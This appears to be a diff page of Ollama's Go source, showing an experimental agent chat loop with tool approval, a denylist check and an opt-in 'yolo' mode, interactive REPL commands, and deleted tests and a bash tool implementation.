func waitForOllamaSignin(ctx context.Context) error {
client, err := api.ClientFromEnvironment()
if err != nil {
return err
}
if disabled, known := cloudStatusDisabled(ctx, client); known && disabled {
return errors.New(internalcloud.DisabledError("cloud account endpoints are unavailable"))
}
// Get signin URL from initial Whoami call
_, err = client.Whoami(ctx)
if err != nil {
var aErr api.AuthorizationError
if errors.As(err, &aErr) && aErr.SigninURL != "" {
fmt.Fprintf(os.Stderr, "\n To sign in, navigate to:\n")
fmt.Fprintf(os.Stderr, " %s\n\n", aErr.SigninURL)
fmt.Fprintf(os.Stderr, " \033[90mwaiting for sign in to complete...\033[0m")
// Poll until auth succeeds
ticker := time.NewTicker(2 * time.Second)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
fmt.Fprintf(os.Stderr, "\n")
return ctx.Err()
case <-ticker.C:
user, whoamiErr := client.Whoami(ctx)
if whoamiErr == nil && user != nil && user.Name != "" {
fmt.Fprintf(os.Stderr, "\r\033[K\033[A\r\033[K \033[1msigned in:\033[0m %s\n", user.Name)
return nil
}
// Still waiting, show dot
fmt.Fprintf(os.Stderr, ".")
}
}
}
return err
}
return nil
}
// RunOptions contains options for running an interactive agent session.
type RunOptions struct {
Model string
Messages []api.Message
WordWrap bool
Format string
System string
Options map[string]any
KeepAlive *api.Duration
Think *api.ThinkValue
HideThinking bool
Verbose bool
// Agent fields (managed externally for session persistence)
Tools *tools.Registry
Approval *agent.ApprovalManager
// YoloMode skips all tool approval prompts
YoloMode bool
}
// Chat runs an agent chat loop with tool support.
// This is the experimental version of chat that supports tool calling.
func Chat(ctx context.Context, opts RunOptions) (*api.Message, error) {
client, err := api.ClientFromEnvironment()
if err != nil {
return nil, err
}
// Use tools registry and approval from opts (managed by caller for session persistence)
toolRegistry := opts.Tools
approval := opts.Approval
if approval == nil {
approval = agent.NewApprovalManager()
}
p := progress.NewProgress(os.Stderr)
defer p.StopAndClear()
spinner := progress.NewSpinner("")
p.Add("", spinner)
cancelCtx, cancel := context.WithCancel(ctx)
defer cancel()
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, syscall.SIGINT)
go func() {
<-sigChan
cancel()
}()
var state *displayResponseState = &displayResponseState{}
var thinkingContent strings.Builder
var fullResponse strings.Builder
var thinkTagOpened bool = false
var thinkTagClosed bool = false
var pendingToolCalls []api.ToolCall
var consecutiveErrors int // Track consecutive 500 errors for retry limit
var latest api.ChatResponse
role := "assistant"
messages := opts.Messages
fn := func(response api.ChatResponse) error {
if response.Message.Content != "" || !opts.HideThinking {
p.StopAndClear()
}
latest = response
role = response.Message.Role
if response.Message.Thinking != "" && !opts.HideThinking {
if !thinkTagOpened {
fmt.Print(thinkingOutputOpeningText(false))
thinkTagOpened = true
thinkTagClosed = false
}
thinkingContent.WriteString(response.Message.Thinking)
displayResponse(response.Message.Thinking, opts.WordWrap, state)
}
content := response.Message.Content
if thinkTagOpened && !thinkTagClosed && (content != "" || len(response.Message.ToolCalls) > 0) {
if !strings.HasSuffix(thinkingContent.String(), "\n") {
fmt.Println()
}
fmt.Print(thinkingOutputClosingText(false))
thinkTagOpened = false
thinkTagClosed = true
state = &displayResponseState{}
}
fullResponse.WriteString(content)
if response.Message.ToolCalls != nil {
toolCalls := response.Message.ToolCalls
if len(toolCalls) > 0 {
if toolRegistry != nil {
// Store tool calls for execution after response is complete
pendingToolCalls = append(pendingToolCalls, toolCalls...)
} else {
// No tools registry, just display tool calls
fmt.Print(renderToolCalls(toolCalls, false))
}
}
}
displayResponse(content, opts.WordWrap, state)
return nil
}
if opts.Format == "json" {
opts.Format = `"` + opts.Format + `"`
}
// Agentic loop: continue until no more tool calls
for {
req := &api.ChatRequest{
Model: opts.Model,
Messages: messages,
Format: json.RawMessage(opts.Format),
Options: opts.Options,
Think: opts.Think,
}
// Add tools
if toolRegistry != nil {
apiTools := toolRegistry.Tools()
if len(apiTools) > 0 {
req.Tools = apiTools
}
}
if opts.KeepAlive != nil {
req.KeepAlive = opts.KeepAlive
}
if err := client.Chat(cancelCtx, req, fn); err != nil {
if errors.Is(err, context.Canceled) {
return nil, nil
}
// Check for 401 Unauthorized - prompt user to sign in
var authErr api.AuthorizationError
if errors.As(err, &authErr) {
p.StopAndClear()
fmt.Fprintf(os.Stderr, "\033[1mauth required:\033[0m cloud model requires authentication\n")
result, promptErr := agent.PromptYesNo("Sign in to Ollama?")
if promptErr == nil && result {
if signinErr := waitForOllamaSignin(ctx); signinErr == nil {
// Retry the chat request
fmt.Fprintf(os.Stderr, "\033[90mretrying...\033[0m\n")
continue // Retry the loop
}
}
return nil, fmt.Errorf("authentication required - run 'ollama signin' to authenticate")
}
// Check for 500 errors (often tool parsing failures) - inform the model
var statusErr api.StatusError
if errors.As(err, &statusErr) && statusErr.StatusCode >= 500 {
consecutiveErrors++
p.StopAndClear()
if consecutiveErrors >= 3 {
fmt.Fprintf(os.Stderr, "\033[1merror:\033[0m too many consecutive errors, giving up\n")
return nil, fmt.Errorf("too many consecutive server errors: %s", statusErr.ErrorMessage)
}
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m server error (attempt %d/3): %s\n", consecutiveErrors, statusErr.ErrorMessage)
// Include both the model's response and the error so it can learn
assistantContent := fullResponse.String()
if assistantContent == "" {
assistantContent = "(empty response)"
}
errorMsg := fmt.Sprintf("Your previous response caused an error: %s\n\nYour response was:\n%s\n\nPlease try again with a valid response.", statusErr.ErrorMessage, assistantContent)
messages = append(messages,
api.Message{Role: "user", Content: errorMsg},
)
// Reset state and retry
fullResponse.Reset()
thinkingContent.Reset()
thinkTagOpened = false
thinkTagClosed = false
pendingToolCalls = nil
state = &displayResponseState{}
p = progress.NewProgress(os.Stderr)
spinner = progress.NewSpinner("")
p.Add("", spinner)
continue
}
if strings.Contains(err.Error(), "upstream error") {
p.StopAndClear()
fmt.Println("An error occurred while processing your message. Please try again.")
fmt.Println()
return nil, nil
}
return nil, err
}
// Reset consecutive error counter on success
consecutiveErrors = 0
// If no tool calls, we're done
if len(pendingToolCalls) == 0 || toolRegistry == nil {
break
}
// Execute tool calls and continue the conversation
fmt.Fprintf(os.Stderr, "\n")
// Add assistant's tool call message to history
assistantMsg := api.Message{
Role: "assistant",
Content: fullResponse.String(),
Thinking: thinkingContent.String(),
ToolCalls: pendingToolCalls,
}
messages = append(messages, assistantMsg)
// Execute each tool call and collect results
var toolResults []api.Message
for _, call := range pendingToolCalls {
toolName := call.Function.Name
args := call.Function.Arguments.ToMap()
// For bash commands, check denylist first
skipApproval := false
if toolName == "bash" {
if cmd, ok := args["command"].(string); ok {
// Check if command is denied (dangerous pattern)
if denied, pattern := agent.IsDenied(cmd); denied {
fmt.Fprintf(os.Stderr, "\033[1mblocked:\033[0m %s\n", formatToolShort(toolName, args))
fmt.Fprintf(os.Stderr, " matches dangerous pattern: %s\n", pattern)
toolResults = append(toolResults, api.Message{
Role: "tool",
Content: agent.FormatDeniedResult(cmd, pattern),
ToolCallID: call.ID,
})
continue
}
// Check if command is auto-allowed (safe command)
// TODO(parthsareen): re-enable with tighter scoped allowlist
// if agent.IsAutoAllowed(cmd) {
// fmt.Fprintf(os.Stderr, "\033[1mauto-allowed:\033[0m %s\n", formatToolShort(toolName, args))
// skipApproval = true
// }
}
}
// Check approval (uses prefix matching for bash commands)
// In yolo mode, skip all approval prompts
if opts.YoloMode {
if !skipApproval {
fmt.Fprintf(os.Stderr, "\033[1mrunning:\033[0m %s\n", formatToolShort(toolName, args))
}
} else if !skipApproval && !approval.IsAllowed(toolName, args) {
result, err := approval.RequestApproval(toolName, args)
if err != nil {
fmt.Fprintf(os.Stderr, "Error requesting approval: %v\n", err)
toolResults = append(toolResults, api.Message{
Role: "tool",
Content: fmt.Sprintf("Error: %v", err),
ToolCallID: call.ID,
})
continue
}
// Show collapsed result
fmt.Fprintln(os.Stderr, agent.FormatApprovalResult(toolName, args, result))
switch result.Decision {
case agent.ApprovalDeny:
toolResults = append(toolResults, api.Message{
Role: "tool",
Content: agent.FormatDenyResult(toolName, result.DenyReason),
ToolCallID: call.ID,
})
continue
case agent.ApprovalAlways:
approval.AddToAllowlist(toolName, args)
}
} else if !skipApproval {
// Already allowed - show running indicator
fmt.Fprintf(os.Stderr, "\033[1mrunning:\033[0m %s\n", formatToolShort(toolName, args))
}
// Execute the tool
toolResult, err := toolRegistry.Execute(call)
if err != nil {
// Check if web search needs authentication
if errors.Is(err, tools.ErrWebSearchAuthRequired) {
// Prompt user to sign in
fmt.Fprintf(os.Stderr, "\033[1mauth required:\033[0m web search requires authentication\n")
result, promptErr := agent.PromptYesNo("Sign in to Ollama?")
if promptErr == nil && result {
// Get signin URL and wait for auth completion
if signinErr := waitForOllamaSignin(ctx); signinErr == nil {
// Retry the web search
fmt.Fprintf(os.Stderr, "\033[90mretrying web search...\033[0m\n")
toolResult, err = toolRegistry.Execute(call)
if err == nil {
goto toolSuccess
}
}
}
}
fmt.Fprintf(os.Stderr, "\033[1merror:\033[0m %v\n", err)
toolResults = append(toolResults, api.Message{
Role: "tool",
Content: fmt.Sprintf("Error: %v", err),
ToolCallID: call.ID,
})
continue
}
toolSuccess:
// Display tool output (truncated for display)
if toolResult != "" {
output := toolResult
if len(output) > 300 {
output = output[:300] + "... (truncated)"
}
// Show result in grey, indented
fmt.Fprintf(os.Stderr, "\033[90m %s\033[0m\n", strings.ReplaceAll(output, "\n", "\n "))
}
// Truncate output to prevent context overflow
toolResultForLLM := truncateToolOutput(toolResult, opts.Model)
toolResults = append(toolResults, api.Message{
Role: "tool",
Content: toolResultForLLM,
ToolCallID: call.ID,
})
}
// Add tool results to message history
messages = append(messages, toolResults...)
fmt.Fprintf(os.Stderr, "\n")
// Reset state for next iteration
fullResponse.Reset()
thinkingContent.Reset()
thinkTagOpened = false
thinkTagClosed = false
pendingToolCalls = nil
state = &displayResponseState{}
// Start new progress spinner for next API call
p = progress.NewProgress(os.Stderr)
spinner = progress.NewSpinner("")
p.Add("", spinner)
}
if len(opts.Messages) > 0 {
fmt.Println()
fmt.Println()
}
if opts.Verbose {
latest.Summary()
}
return &api.Message{Role: role, Thinking: thinkingContent.String(), Content: fullResponse.String()}, nil
}
// truncateUTF8 safely truncates a string to at most limit runes, adding "..." if truncated.
func truncateUTF8(s string, limit int) string {
runes := []rune(s)
if len(runes) <= limit {
return s
}
if limit <= 3 {
return string(runes[:limit])
}
return string(runes[:limit-3]) + "..."
}
// formatToolShort returns a short description of a tool call.
func formatToolShort(toolName string, args map[string]any) string {
displayName := agent.ToolDisplayName(toolName)
if toolName == "bash" {
if cmd, ok := args["command"].(string); ok {
return fmt.Sprintf("%s: %s", displayName, truncateUTF8(cmd, 50))
}
}
if toolName == "web_search" {
if query, ok := args["query"].(string); ok {
return fmt.Sprintf("%s: %s", displayName, truncateUTF8(query, 50))
}
}
return displayName
}
// Helper types and functions for display
type displayResponseState struct {
lineLength int
wordBuffer string
}
func displayResponse(content string, wordWrap bool, state *displayResponseState) {
termWidth, _, _ := term.GetSize(int(os.Stdout.Fd()))
if wordWrap && termWidth >= 10 {
for _, ch := range content {
if state.lineLength+1 > termWidth-5 {
if len(state.wordBuffer) > termWidth-10 {
fmt.Printf("%s%c", state.wordBuffer, ch)
state.wordBuffer = ""
state.lineLength = 0
continue
}
// backtrack the length of the last word and clear to the end of the line
a := len(state.wordBuffer)
if a > 0 {
fmt.Printf("\x1b[%dD", a)
}
fmt.Printf("\x1b[K\n")
fmt.Printf("%s%c", state.wordBuffer, ch)
state.lineLength = len(state.wordBuffer) + 1
} else {
fmt.Print(string(ch))
state.lineLength++
switch ch {
case ' ', '\t':
state.wordBuffer = ""
case '\n', '\r':
state.lineLength = 0
state.wordBuffer = ""
default:
state.wordBuffer += string(ch)
}
}
}
} else {
fmt.Printf("%s%s", state.wordBuffer, content)
if len(state.wordBuffer) > 0 {
state.wordBuffer = ""
}
}
}
func thinkingOutputOpeningText(plainText bool) string {
text := "Thinking...\n"
if plainText {
return text
}
return readline.ColorGrey + readline.ColorBold + text + readline.ColorDefault + readline.ColorGrey
}
func thinkingOutputClosingText(plainText bool) string {
text := "...done thinking.\n\n"
if plainText {
return text
}
return readline.ColorGrey + readline.ColorBold + text + readline.ColorDefault
}
func renderToolCalls(toolCalls []api.ToolCall, plainText bool) string {
out := ""
formatExplanation := ""
formatValues := ""
if !plainText {
formatExplanation = readline.ColorGrey + readline.ColorBold
formatValues = readline.ColorDefault
out += formatExplanation
}
for i, toolCall := range toolCalls {
argsAsJSON, err := json.Marshal(toolCall.Function.Arguments)
if err != nil {
return ""
}
if i > 0 {
out += "\n"
}
out += fmt.Sprintf(" Tool call: %s(%s)", formatValues+toolCall.Function.Name+formatExplanation, formatValues+string(argsAsJSON)+formatExplanation)
}
if !plainText {
out += readline.ColorDefault
}
return out
}
// checkModelCapabilities checks if the model supports tools.
func checkModelCapabilities(ctx context.Context, modelName string) (supportsTools bool, err error) {
client, err := api.ClientFromEnvironment()
if err != nil {
return false, err
}
resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
if err != nil {
return false, err
}
for _, cap := range resp.Capabilities {
if cap == model.CapabilityTools {
return true, nil
}
}
return false, nil
}
// GenerateInteractive runs an interactive agent session.
// This is called from cmd.go when --experimental flag is set.
// If yoloMode is true, all tool approvals are skipped.
// If enableWebsearch is true, the web search tool is registered.
func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, options map[string]any, think *api.ThinkValue, hideThinking bool, keepAlive *api.Duration, yoloMode bool, enableWebsearch bool) error {
scanner, err := readline.New(readline.Prompt{
Prompt: ">>> ",
AltPrompt: "... ",
Placeholder: "Send a message (/? for help)",
AltPlaceholder: "Press Enter to send",
})
if err != nil {
return err
}
fmt.Print(readline.StartBracketedPaste)
defer fmt.Printf(readline.EndBracketedPaste)
// Check if model supports tools
supportsTools, err := checkModelCapabilities(cmd.Context(), modelName)
if err != nil {
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not check model capabilities: %v\n", err)
supportsTools = false
}
if enableWebsearch {
if client, err := api.ClientFromEnvironment(); err == nil {
if disabled, known := cloudStatusDisabled(cmd.Context(), client); known && disabled {
fmt.Fprintf(os.Stderr, "%s\n", internalcloud.DisabledError("web search is unavailable"))
enableWebsearch = false
}
}
}
// Create tool registry only if model supports tools
var toolRegistry *tools.Registry
if supportsTools {
toolRegistry = tools.DefaultRegistry()
// Register web search and web fetch tools if enabled via flag
if enableWebsearch {
toolRegistry.RegisterWebSearch()
toolRegistry.RegisterWebFetch()
}
if toolRegistry.Has("bash") {
fmt.Fprintln(os.Stderr)
fmt.Fprintln(os.Stderr, "This experimental version of Ollama has the \033[1mbash\033[0m tool enabled.")
fmt.Fprintln(os.Stderr, "Models can read files on your computer, or run commands (after you allow them).")
fmt.Fprintln(os.Stderr)
}
if toolRegistry.Has("web_search") || toolRegistry.Has("web_fetch") {
fmt.Fprintln(os.Stderr, "The \033[1mWeb Search\033[0m and \033[1mWeb Fetch\033[0m tools are enabled. Models can search and fetch web content via ollama.com.")
fmt.Fprintln(os.Stderr)
}
if yoloMode {
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m yolo mode - all tool approvals will be skipped\n")
}
}
// Create approval manager for session
approval := agent.NewApprovalManager()
var messages []api.Message
var sb strings.Builder
var format string
var system string
for {
line, err := scanner.Readline()
switch {
case errors.Is(err, io.EOF):
fmt.Println()
return nil
case errors.Is(err, readline.ErrInterrupt):
if line == "" {
fmt.Println("\nUse Ctrl + d or /bye to exit.")
}
scanner.Prompt.UseAlt = false
sb.Reset()
continue
case err != nil:
return err
}
switch {
case strings.HasPrefix(line, "/exit"), strings.HasPrefix(line, "/bye"):
return nil
case strings.HasPrefix(line, "/clear"):
messages = []api.Message{}
approval.Reset()
fmt.Println("Cleared session context and tool approvals")
continue
case strings.HasPrefix(line, "/tools"):
showToolsStatus(toolRegistry, approval, supportsTools)
continue
case strings.HasPrefix(line, "/help"), strings.HasPrefix(line, "/?"):
fmt.Fprintln(os.Stderr, "Available Commands:")
fmt.Fprintln(os.Stderr, " /set Set session variables")
fmt.Fprintln(os.Stderr, " /show Show model information")
fmt.Fprintln(os.Stderr, " /load Load a different model")
fmt.Fprintln(os.Stderr, " /save Save session as a model")
fmt.Fprintln(os.Stderr, " /tools Show available tools and approvals")
fmt.Fprintln(os.Stderr, " /clear Clear session context and approvals")
fmt.Fprintln(os.Stderr, " /bye Exit")
fmt.Fprintln(os.Stderr, " /?, /help Help for a command")
fmt.Fprintln(os.Stderr, "")
fmt.Fprintln(os.Stderr, "Keyboard Shortcuts:")
fmt.Fprintln(os.Stderr, " Ctrl+O Expand last tool output")
fmt.Fprintln(os.Stderr, "")
continue
case strings.HasPrefix(line, "/set"):
args := strings.Fields(line)
if len(args) > 1 {
switch args[1] {
case "history":
scanner.HistoryEnable()
case "nohistory":
scanner.HistoryDisable()
case "wordwrap":
wordWrap = true
fmt.Println("Set 'wordwrap' mode.")
case "nowordwrap":
wordWrap = false
fmt.Println("Set 'nowordwrap' mode.")
case "verbose":
if err := cmd.Flags().Set("verbose", "true"); err != nil {
return err
}
fmt.Println("Set 'verbose' mode.")
case "quiet":
if err := cmd.Flags().Set("verbose", "false"); err != nil {
return err
}
fmt.Println("Set 'quiet' mode.")
case "think":
thinkValue := api.ThinkValue{Value: true}
var maybeLevel string
if len(args) > 2 {
maybeLevel = args[2]
}
if maybeLevel != "" {
thinkValue.Value = maybeLevel
}
think = &thinkValue
// Check if model supports thinking
if client, err := api.ClientFromEnvironment(); err == nil {
if resp, err := client.Show(cmd.Context(), &api.ShowRequest{Model: modelName}); err == nil {
if !slices.Contains(resp.Capabilities, model.CapabilityThinking) {
fmt.Fprintf(os.Stderr, "warning: model %q does not support thinking output\n", modelName)
}
}
}
if maybeLevel != "" {
fmt.Printf("Set 'think' mode to '%s'.\n", maybeLevel)
} else {
fmt.Println("Set 'think' mode.")
}
case "nothink":
think = &api.ThinkValue{Value: false}
// Check if model supports thinking
if client, err := api.ClientFromEnvironment(); err == nil {
if resp, err := client.Show(cmd.Context(), &api.ShowRequest{Model: modelName}); err == nil {
if !slices.Contains(resp.Capabilities, model.CapabilityThinking) {
fmt.Fprintf(os.Stderr, "warning: model %q does not support thinking output\n", modelName)
}
}
}
fmt.Println("Set 'nothink' mode.")
case "format":
if len(args) < 3 || args[2] != "json" {
fmt.Println("Invalid or missing format. For 'json' mode use '/set format json'")
} else {
format = args[2]
fmt.Printf("Set format to '%s' mode.\n", args[2])
}
case "noformat":
format = ""
fmt.Println("Disabled format.")
case "parameter":
if len(args) < 4 {
fmt.Println("Usage: /set parameter <name> <value>")
continue
}
params := args[3:]
fp, err := api.FormatParams(map[string][]string{args[2]: params})
if err != nil {
fmt.Printf("Couldn't set parameter: %q\n", err)
continue
}
fmt.Printf("Set parameter '%s' to '%s'\n", args[2], strings.Join(params, ", "))
options[args[2]] = fp[args[2]]
case "system":
if len(args) < 3 {
fmt.Println("Usage: /set system <message>")
continue
}
system = strings.Join(args[2:], " ")
newMessage := api.Message{Role: "system", Content: system}
if len(messages) > 0 && messages[len(messages)-1].Role == "system" {
messages[len(messages)-1] = newMessage
} else {
messages = append(messages, newMessage)
}
fmt.Println("Set system message.")
continue
default:
fmt.Printf("Unknown command '/set %s'. Type /? for help\n", args[1])
}
} else {
fmt.Println("Usage: /set <parameter|system|history|format|wordwrap|think|verbose> [value]")
}
continue
case strings.HasPrefix(line, "/show"):
args := strings.Fields(line)
if len(args) > 1 {
client, err := api.ClientFromEnvironment()
if err != nil {
fmt.Println("error: couldn't connect to ollama server")
continue
}
req := &api.ShowRequest{
Name: modelName,
Options: options,
}
resp, err := client.Show(cmd.Context(), req)
if err != nil {
fmt.Println("error: couldn't get model")
continue
}
switch args[1] {
case "info":
fmt.Fprintf(os.Stderr, " Model\n")
fmt.Fprintf(os.Stderr, " %-16s %s\n", "Name", modelName)
if resp.Details.Family != "" {
fmt.Fprintf(os.Stderr, " %-16s %s\n", "Family", resp.Details.Family)
}
if resp.Details.ParameterSize != "" {
fmt.Fprintf(os.Stderr, " %-16s %s\n", "Parameter Size", resp.Details.ParameterSize)
}
if resp.Details.QuantizationLevel != "" {
fmt.Fprintf(os.Stderr, " %-16s %s\n", "Quantization", resp.Details.QuantizationLevel)
}
if len(resp.Capabilities) > 0 {
caps := make([]string, len(resp.Capabilities))
for i, c := range resp.Capabilities {
caps[i] = string(c)
}
fmt.Fprintf(os.Stderr, " %-16s %s\n", "Capabilities", strings.Join(caps, ", "))
}
fmt.Fprintln(os.Stderr)
case "license":
if resp.License == "" {
fmt.Println("No license was specified for this model.")
} else {
fmt.Println(resp.License)
}
case "modelfile":
fmt.Println(resp.Modelfile)
case "parameters":
fmt.Println("Model defined parameters:")
if resp.Parameters == "" {
fmt.Println(" No additional parameters were specified.")
} else {
for _, l := range strings.Split(resp.Parameters, "\n") {
fmt.Printf(" %s\n", l)
}
}
if len(options) > 0 {
fmt.Println("\nUser defined parameters:")
for k, v := range options {
fmt.Printf(" %-30s %v\n", k, v)
}
}
case "system":
switch {
case system != "":
fmt.Println(system + "\n")
case resp.System != "":
fmt.Println(resp.System + "\n")
default:
fmt.Println("No system message was specified for this model.")
}
case "template":
if resp.Template != "" {
fmt.Println(resp.Template)
} else {
fmt.Println("No prompt template was specified for this model.")
}
default:
fmt.Printf("Unknown command '/show %s'. Type /? for help\n", args[1])
}
} else {
fmt.Println("Usage: /show <info|license|modelfile|parameters|system|template>")
}
continue
case strings.HasPrefix(line, "/load"):
args := strings.Fields(line)
if len(args) != 2 {
fmt.Println("Usage: /load <modelname>")
continue
}
newModelName := args[1]
fmt.Printf("Loading model '%s'\n", newModelName)
// Create progress spinner
p := progress.NewProgress(os.Stderr)
spinner := progress.NewSpinner("")
p.Add("", spinner)
// Get client
client, err := api.ClientFromEnvironment()
if err != nil {
p.StopAndClear()
fmt.Println("error: couldn't connect to ollama server")
continue
}
// Check if model exists and get its info
info, err := client.Show(cmd.Context(), &api.ShowRequest{Model: newModelName})
if err != nil {
p.StopAndClear()
if strings.Contains(err.Error(), "not found") {
fmt.Printf("Couldn't find model '%s'\n", newModelName)
} else {
fmt.Printf("error: %v\n", err)
}
continue
}
// For cloud models, no need to preload
if info.RemoteHost == "" {
// Preload the model by sending an empty generate request
req := &api.GenerateRequest{
Model: newModelName,
Think: think,
}
err = client.Generate(cmd.Context(), req, func(r api.GenerateResponse) error {
return nil
})
if err != nil {
p.StopAndClear()
if strings.Contains(err.Error(), "not found") {
fmt.Printf("Couldn't find model '%s'\n", newModelName)
} else if strings.Contains(err.Error(), "does not support thinking") {
fmt.Printf("error: %v\n", err)
} else {
fmt.Printf("error loading model: %v\n", err)
}
continue
}
}
p.StopAndClear()
modelName = newModelName
messages = []api.Message{}
approval.Reset()
continue
case strings.HasPrefix(line, "/save"):
args := strings.Fields(line)
if len(args) != 2 {
fmt.Println("Usage: /save <modelname>")
continue
}
client, err := api.ClientFromEnvironment()
if err != nil {
fmt.Println("error: couldn't connect to ollama server")
continue
}
req := &api.CreateRequest{
Model: args[1],
From: modelName,
Parameters: options,
Messages: messages,
}
fn := func(resp api.ProgressResponse) error { return nil }
err = client.Create(cmd.Context(), req, fn)
if err != nil {
fmt.Printf("error: %v\n", err)
continue
}
fmt.Printf("Created new model '%s'\n", args[1])
continue
case strings.HasPrefix(line, "/"):
fmt.Printf("Unknown command '%s'. Type /? for help\n", strings.Fields(line)[0])
continue
default:
sb.WriteString(line)
}
if sb.Len() > 0 {
newMessage := api.Message{Role: "user", Content: sb.String()}
messages = append(messages, newMessage)
verbose, _ := cmd.Flags().GetBool("verbose")
opts := RunOptions{
Model: modelName,
Messages: messages,
WordWrap: wordWrap,
Format: format,
Options: options,
Think: think,
HideThinking: hideThinking,
KeepAlive: keepAlive,
Tools: toolRegistry,
Approval: approval,
YoloMode: yoloMode,
Verbose: verbose,
}
assistant, err := Chat(cmd.Context(), opts)
if err != nil {
return err
}
if assistant != nil {
messages = append(messages, *assistant)
}
sb.Reset()
}
}
}
// showToolsStatus displays the current tools and approval status.
func showToolsStatus(registry *tools.Registry, approval *agent.ApprovalManager, supportsTools bool) {
if !supportsTools || registry == nil {
fmt.Println("Tools not available - model does not support tool calling")
fmt.Println()
return
}
fmt.Println("Available tools:")
for _, name := range registry.Names() {
tool, _ := registry.Get(name)
fmt.Printf(" %s - %s\n", name, tool.Description())
}
allowed := approval.AllowedTools()
if len(allowed) > 0 {
fmt.Println("\nSession approvals:")
for _, key := range allowed {
fmt.Printf(" %s\n", key)
}
} else {
fmt.Println("\nNo tools approved for this session yet")
}
fmt.Println()
}
-190
View File
@@ -1,190 +0,0 @@
package cmd
import (
"testing"
)
func TestIsLocalModel(t *testing.T) {
tests := []struct {
name string
modelName string
expected bool
}{
{
name: "local model without suffix",
modelName: "llama3.2",
expected: true,
},
{
name: "local model with version",
modelName: "qwen2.5:7b",
expected: true,
},
{
name: "cloud model",
modelName: "gpt-oss:latest-cloud",
expected: false,
},
{
name: "cloud model with :cloud suffix",
modelName: "gpt-oss:cloud",
expected: false,
},
{
name: "cloud model with version",
modelName: "gpt-oss:20b-cloud",
expected: false,
},
{
name: "cloud model with version and :cloud suffix",
modelName: "gpt-oss:20b:cloud",
expected: false,
},
{
name: "empty model name",
modelName: "",
expected: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := isLocalModel(tt.modelName)
if result != tt.expected {
t.Errorf("isLocalModel(%q) = %v, expected %v", tt.modelName, result, tt.expected)
}
})
}
}
func TestIsLocalServer(t *testing.T) {
tests := []struct {
name string
host string
expected bool
}{
{
name: "empty host (default)",
host: "",
expected: true,
},
{
name: "localhost",
host: "http://localhost:11434",
expected: true,
},
{
name: "127.0.0.1",
host: "http://127.0.0.1:11434",
expected: true,
},
{
name: "custom port on localhost",
host: "http://localhost:8080",
expected: true, // localhost is always considered local
},
{
name: "remote host",
host: "http://ollama.example.com:11434",
expected: true, // has :11434
},
{
name: "remote host different port",
host: "http://ollama.example.com:8080",
expected: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
t.Setenv("OLLAMA_HOST", tt.host)
result := isLocalServer()
if result != tt.expected {
t.Errorf("isLocalServer() with OLLAMA_HOST=%q = %v, expected %v", tt.host, result, tt.expected)
}
})
}
}
func TestTruncateToolOutput(t *testing.T) {
// Create outputs of different sizes
localLimitOutput := make([]byte, 20000) // > 4k tokens (16k chars)
defaultLimitOutput := make([]byte, 50000) // > 10k tokens (40k chars)
for i := range localLimitOutput {
localLimitOutput[i] = 'a'
}
for i := range defaultLimitOutput {
defaultLimitOutput[i] = 'b'
}
tests := []struct {
name string
output string
modelName string
host string
shouldTrim bool
expectedLimit int
}{
{
name: "short output local model",
output: "hello world",
modelName: "llama3.2",
host: "",
shouldTrim: false,
expectedLimit: localModelTokenLimit,
},
{
name: "long output local model - trimmed at 4k",
output: string(localLimitOutput),
modelName: "llama3.2",
host: "",
shouldTrim: true,
expectedLimit: localModelTokenLimit,
},
{
name: "long output cloud model - uses 10k limit",
output: string(localLimitOutput), // 20k chars, under 10k token limit
modelName: "gpt-oss:latest-cloud",
host: "",
shouldTrim: false,
expectedLimit: defaultTokenLimit,
},
{
name: "very long output cloud model - trimmed at 10k",
output: string(defaultLimitOutput),
modelName: "gpt-oss:latest-cloud",
host: "",
shouldTrim: true,
expectedLimit: defaultTokenLimit,
},
{
name: "long output remote server - uses 10k limit",
output: string(localLimitOutput),
modelName: "llama3.2",
host: "http://remote.example.com:8080",
shouldTrim: false,
expectedLimit: defaultTokenLimit,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
t.Setenv("OLLAMA_HOST", tt.host)
result := truncateToolOutput(tt.output, tt.modelName)
if tt.shouldTrim {
maxLen := tt.expectedLimit * charsPerToken
if len(result) > maxLen+50 { // +50 for the truncation message
t.Errorf("expected output to be truncated to ~%d chars, got %d", maxLen, len(result))
}
if result == tt.output {
t.Error("expected output to be truncated but it wasn't")
}
} else {
if result != tt.output {
t.Error("expected output to not be truncated")
}
}
})
}
}
-114
View File
@@ -1,114 +0,0 @@
package tools
import (
"bytes"
"context"
"fmt"
"os/exec"
"strings"
"time"
"github.com/ollama/ollama/api"
)
const (
// bashTimeout is the maximum execution time for a command.
bashTimeout = 60 * time.Second
// maxOutputSize is the maximum output size in bytes.
maxOutputSize = 50000
)
// BashTool implements shell command execution.
type BashTool struct{}
// Name returns the tool name.
func (b *BashTool) Name() string {
return "bash"
}
// Description returns a description of the tool.
func (b *BashTool) Description() string {
return "Execute a bash command on the system. Use this to run shell commands, check files, run programs, etc."
}
// Schema returns the tool's parameter schema.
func (b *BashTool) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("command", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "The bash command to execute",
})
return api.ToolFunction{
Name: b.Name(),
Description: b.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"command"},
},
}
}
// Execute runs the bash command.
func (b *BashTool) Execute(args map[string]any) (string, error) {
command, ok := args["command"].(string)
if !ok || command == "" {
return "", fmt.Errorf("command parameter is required")
}
// Create context with timeout
ctx, cancel := context.WithTimeout(context.Background(), bashTimeout)
defer cancel()
// Execute command
cmd := exec.CommandContext(ctx, "bash", "-c", command)
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
// Build output
var sb strings.Builder
// Add stdout
if stdout.Len() > 0 {
output := stdout.String()
if len(output) > maxOutputSize {
output = output[:maxOutputSize] + "\n... (output truncated)"
}
sb.WriteString(output)
}
// Add stderr if present
if stderr.Len() > 0 {
stderrOutput := stderr.String()
